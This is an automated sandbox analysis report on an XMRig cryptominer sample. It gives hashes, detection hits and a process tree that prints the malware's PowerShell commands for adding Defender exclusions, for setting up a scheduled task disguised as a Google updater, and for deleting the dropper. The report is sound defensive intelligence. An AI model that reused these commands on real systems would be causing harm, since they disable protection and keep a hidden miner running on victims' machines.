xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1788s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 5076 created 3384	5076	XJEzW6M7WvHaF3EX.exe	65
PID 5076 created 3384	5076	XJEzW6M7WvHaF3EX.exe	65
PID 5076 created 3384	5076	XJEzW6M7WvHaF3EX.exe	65
PID 5076 created 3384	5076	XJEzW6M7WvHaF3EX.exe	65
PID 2664 created 3384	2664	updater.exe	65
PID 2664 created 3384	2664	updater.exe	65
PID 2664 created 3384	2664	updater.exe	65
PID 2664 created 3384	2664	updater.exe	65
PID 2076 created 3384	2076	conhost.exe	65
PID 2664 created 3384	2664	updater.exe	65

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral28/memory/4164-129-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-133-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-135-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-136-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-138-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-142-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-144-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-146-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-148-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-154-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-156-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-158-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-160-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-162-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-164-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-166-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-168-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-170-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-172-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-174-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-176-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-178-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-180-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-182-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-184-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-186-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-188-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-190-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-192-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig
behavioral28/memory/4164-194-0x00007FF616230000-0x00007FF616A24000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2664	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral28/memory/4164-123-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-129-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-133-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-135-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-136-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-138-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-142-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-144-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-146-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-148-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-154-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-156-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-158-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-160-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-162-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-164-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-166-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-168-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-170-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-172-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-174-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-176-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-178-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-180-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-182-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-184-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-186-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-188-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-190-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-192-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx
behavioral28/memory/4164-194-0x00007FF616230000-0x00007FF616A24000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2664 set thread context of 2076	2664	updater.exe	110
PID 2664 set thread context of 4164	2664	updater.exe	116

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	XJEzW6M7WvHaF3EX.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2144	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
5076	XJEzW6M7WvHaF3EX.exe
5076	XJEzW6M7WvHaF3EX.exe
2160	powershell.exe
2160	powershell.exe
5076	XJEzW6M7WvHaF3EX.exe
5076	XJEzW6M7WvHaF3EX.exe
4896	powershell.exe
4896	powershell.exe
5076	XJEzW6M7WvHaF3EX.exe
5076	XJEzW6M7WvHaF3EX.exe
5076	XJEzW6M7WvHaF3EX.exe
5076	XJEzW6M7WvHaF3EX.exe
556	powershell.exe
556	powershell.exe
2664	updater.exe
2664	updater.exe
4388	powershell.exe
4388	powershell.exe
2664	updater.exe
2664	updater.exe
3376	powershell.exe
3376	powershell.exe
2664	updater.exe
2664	updater.exe
2664	updater.exe
2664	updater.exe
2076	conhost.exe
2076	conhost.exe
2664	updater.exe
2664	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
668	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeIncreaseQuotaPrivilege	4896	powershell.exe
Token: SeSecurityPrivilege	4896	powershell.exe
Token: SeTakeOwnershipPrivilege	4896	powershell.exe
Token: SeLoadDriverPrivilege	4896	powershell.exe
Token: SeSystemProfilePrivilege	4896	powershell.exe
Token: SeSystemtimePrivilege	4896	powershell.exe
Token: SeProfSingleProcessPrivilege	4896	powershell.exe
Token: SeIncBasePriorityPrivilege	4896	powershell.exe
Token: SeCreatePagefilePrivilege	4896	powershell.exe
Token: SeBackupPrivilege	4896	powershell.exe
Token: SeRestorePrivilege	4896	powershell.exe
Token: SeShutdownPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeSystemEnvironmentPrivilege	4896	powershell.exe
Token: SeRemoteShutdownPrivilege	4896	powershell.exe
Token: SeUndockPrivilege	4896	powershell.exe
Token: SeManageVolumePrivilege	4896	powershell.exe
Token: 33	4896	powershell.exe
Token: 34	4896	powershell.exe
Token: 35	4896	powershell.exe
Token: 36	4896	powershell.exe
Token: SeIncreaseQuotaPrivilege	4896	powershell.exe
Token: SeSecurityPrivilege	4896	powershell.exe
Token: SeTakeOwnershipPrivilege	4896	powershell.exe
Token: SeLoadDriverPrivilege	4896	powershell.exe
Token: SeSystemProfilePrivilege	4896	powershell.exe
Token: SeSystemtimePrivilege	4896	powershell.exe
Token: SeProfSingleProcessPrivilege	4896	powershell.exe
Token: SeIncBasePriorityPrivilege	4896	powershell.exe
Token: SeCreatePagefilePrivilege	4896	powershell.exe
Token: SeBackupPrivilege	4896	powershell.exe
Token: SeRestorePrivilege	4896	powershell.exe
Token: SeShutdownPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeSystemEnvironmentPrivilege	4896	powershell.exe
Token: SeRemoteShutdownPrivilege	4896	powershell.exe
Token: SeUndockPrivilege	4896	powershell.exe
Token: SeManageVolumePrivilege	4896	powershell.exe
Token: 33	4896	powershell.exe
Token: 34	4896	powershell.exe
Token: 35	4896	powershell.exe
Token: 36	4896	powershell.exe
Token: SeIncreaseQuotaPrivilege	4896	powershell.exe
Token: SeSecurityPrivilege	4896	powershell.exe
Token: SeTakeOwnershipPrivilege	4896	powershell.exe
Token: SeLoadDriverPrivilege	4896	powershell.exe
Token: SeSystemProfilePrivilege	4896	powershell.exe
Token: SeSystemtimePrivilege	4896	powershell.exe
Token: SeProfSingleProcessPrivilege	4896	powershell.exe
Token: SeIncBasePriorityPrivilege	4896	powershell.exe
Token: SeCreatePagefilePrivilege	4896	powershell.exe
Token: SeBackupPrivilege	4896	powershell.exe
Token: SeRestorePrivilege	4896	powershell.exe
Token: SeShutdownPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeSystemEnvironmentPrivilege	4896	powershell.exe
Token: SeRemoteShutdownPrivilege	4896	powershell.exe
Token: SeUndockPrivilege	4896	powershell.exe
Token: SeManageVolumePrivilege	4896	powershell.exe
Token: 33	4896	powershell.exe
Token: 34	4896	powershell.exe
Token: 35	4896	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 2456	4656	cmd.exe	102
PID 4656 wrote to memory of 2456	4656	cmd.exe	102
PID 556 wrote to memory of 3224	556	powershell.exe	103
PID 556 wrote to memory of 3224	556	powershell.exe	103
PID 2664 wrote to memory of 2076	2664	updater.exe	110
PID 3632 wrote to memory of 2144	3632	cmd.exe	115
PID 3632 wrote to memory of 2144	3632	cmd.exe	115
PID 2664 wrote to memory of 4164	2664	updater.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3384
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4896
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3376
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2076
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4184
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:2144
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:4164

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 627KB
SHA256 e5599148ba13b0c057405260b1ad4e98065882afd18e3d2c3c6fe44858d3f75b
MD5 0f316eb5cad1652a791e84bcd3ede175
SHA1 4ff65e2d98c9bfd9bca423c573606cbe0b79a53d
SHA512 c8e03a0ece850ec60cd0286017276613450dac3f2b2ca9db0cf2f32176e325927dc9cad814d9d977615be355bbe5be0b75e2e7a3cacebacbb03ae7278f25b8cf
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNJ:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iC
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.0MB
SHA256 1a395022862ad8ec324284223d9c50d0d563ced930b4f14a2cc9a04a8ac7638a
MD5 0e63cc987b7804d0050ca70528cd3f25
SHA1 7a48a4159cffa49ba9e635ebecd927183238a81b
SHA512 06df348ca986356c588dbe19727543ae3de78fa3bd8dedb6b351c3f75019f2e6f3fa88c4dcd11751824a590f8e321c674b32f5c7ef1a1a36eaec34e2c3851e08
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/i:rxAEcp9ueXit9WAQ0YWuOT
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
